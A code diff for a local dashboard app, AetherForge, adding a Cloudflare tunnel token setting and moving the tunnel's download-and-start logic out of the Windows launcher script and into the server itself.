<label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label> <label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
<input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle} <input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}

View File

@@ -212,6 +212,8 @@ export interface ServerSettings {
export interface TunnelDefaults { export interface TunnelDefaults {
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */ /** Default Cloudflare tunnel target — usually mirrors server.public_url. */
cloudflared_target_url?: string; cloudflared_target_url?: string;
/** Zero Trust connector token — cloudflared tunnel run --token (control deck / USB). */
cloudflare_tunnel_token?: string;
} }
export interface PoolEndpoint { export interface PoolEndpoint {

View File

@@ -105,19 +105,11 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ---------------------------------------------------------------- :: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
:: 5. Configure optional Cloudflare tunnel (foreground process, no service) :: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 6. Detect LAN IP for display :: 5. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -129,7 +121,7 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%" set "LAN_IP=%LAN_IP: =%"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 7. Kill any stale server and tunnel processes :: 6. Kill any stale server and tunnel processes
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul taskkill /F /IM cloudflared.exe >nul 2>nul
@@ -143,35 +135,12 @@ echo Local: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\ echo Data: %ROOT%\data\
echo. echo.
echo First-run credentials will appear below after server starts. echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector.
echo Press Ctrl+C to stop. echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -179,13 +148,6 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.